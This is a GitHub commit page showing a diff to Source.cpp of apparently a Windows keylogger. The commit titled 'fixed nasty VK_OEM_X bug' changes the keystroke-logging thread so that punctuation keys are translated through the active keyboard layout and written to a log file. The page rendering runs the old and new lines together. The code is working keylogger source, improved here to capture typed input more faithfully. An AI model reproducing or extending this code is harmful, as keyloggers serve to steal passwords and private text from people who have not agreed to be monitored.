Skip to content

Commit

Permalink
fixed nasty VK_OEM_X bug
Browse files Browse the repository at this point in the history
  • Loading branch information
SherifEldeeb committed Feb 2, 2013
1 parent 4cc0c8d commit 2d4ad2d
Showing 1 changed file with 28 additions and 19 deletions.
47 changes: 28 additions & 19 deletions Source.cpp
Expand Up @@ -97,7 +97,8 @@ void WritesScannedKeyToFile(short sScannedKey)
GetKeyboardState(kState); GetKeyboardState(kState);
hkl = GetKeyboardLayout(dwThreadId); hkl = GetKeyboardLayout(dwThreadId);
wchar_t UniChar[16] = {0}; wchar_t UniChar[16] = {0};
UINT virtualKey = MapVirtualKeyEx((UINT)sScannedKey, MAPVK_VK_TO_CHAR, hkl); //UINT virtualKey = MapVirtualKeyEx((UINT)sScannedKey, MAPVK_VK_TO_CHAR, hkl);
UINT virtualKey = sScannedKey;
ToUnicodeEx(virtualKey, sScannedKey, (BYTE*)kState, UniChar, 16, NULL, hkl); ToUnicodeEx(virtualKey, sScannedKey, (BYTE*)kState, UniChar, 16, NULL, hkl);
WriteToFile(UniChar); WriteToFile(UniChar);
free(kState); free(kState);
Expand Down Expand Up @@ -173,39 +174,47 @@ DWORD WINAPI logger(void)
case VK_DELETE: case VK_DELETE:
WriteToFile(L"[DEL]"); WriteToFile(L"[DEL]");
break; break;
/* case VK_OEM_1:
case VK_OEM_1: //WriteToFile(L"[;:]");
WriteToFile(L"[;:]"); WritesScannedKeyToFile(VK_OEM_1);
break; break;
case VK_OEM_2: case VK_OEM_2:
WriteToFile(L"[/?]"); //WriteToFile(L"[/?]");
WritesScannedKeyToFile(VK_OEM_2);
break; break;
case VK_OEM_3: case VK_OEM_3:
WriteToFile(L"[`~]"); //WriteToFile(L"[`~]");
WritesScannedKeyToFile(VK_OEM_3);
break; break;
case VK_OEM_4: case VK_OEM_4:
WriteToFile(L"[ [{ ]"); //WriteToFile(L"[ [{ ]");
WritesScannedKeyToFile(VK_OEM_4);
break; break;
case VK_OEM_5: case VK_OEM_5:
WriteToFile(L"[\\|]"); //WriteToFile(L"[\\|]");
WritesScannedKeyToFile(VK_OEM_5);
break; break;
case VK_OEM_6: case VK_OEM_6:
WriteToFile(L"[ ]} ]"); //WriteToFile(L"[ ]} ]");
WritesScannedKeyToFile(VK_OEM_6);
break;
case VK_OEM_7:
//WriteToFile(L"['\"]");
WritesScannedKeyToFile(VK_OEM_7);
break; break;
case VK_OEM_7:
WriteToFile(L"['\"]");
break;*/
case VK_OEM_PLUS: case VK_OEM_PLUS:
WriteToFile(L"+"); WriteToFile(L"+");
break; break;
case VK_OEM_COMMA: case VK_OEM_COMMA:
WriteToFile(L","); //WriteToFile(L",");
WritesScannedKeyToFile(VK_OEM_COMMA);
break; break;
case VK_OEM_MINUS: case VK_OEM_MINUS:
WriteToFile(L"-"); WriteToFile(L"-");
break; break;
case VK_OEM_PERIOD: case VK_OEM_PERIOD:
WriteToFile(L"."); //WriteToFile(L".");
WritesScannedKeyToFile(VK_OEM_PERIOD);
break; break;
case VK_NUMPAD0: case VK_NUMPAD0:
WriteToFile(L"0"); WriteToFile(L"0");
Expand Down

0 comments on commit 2d4ad2d

Please sign in to comment.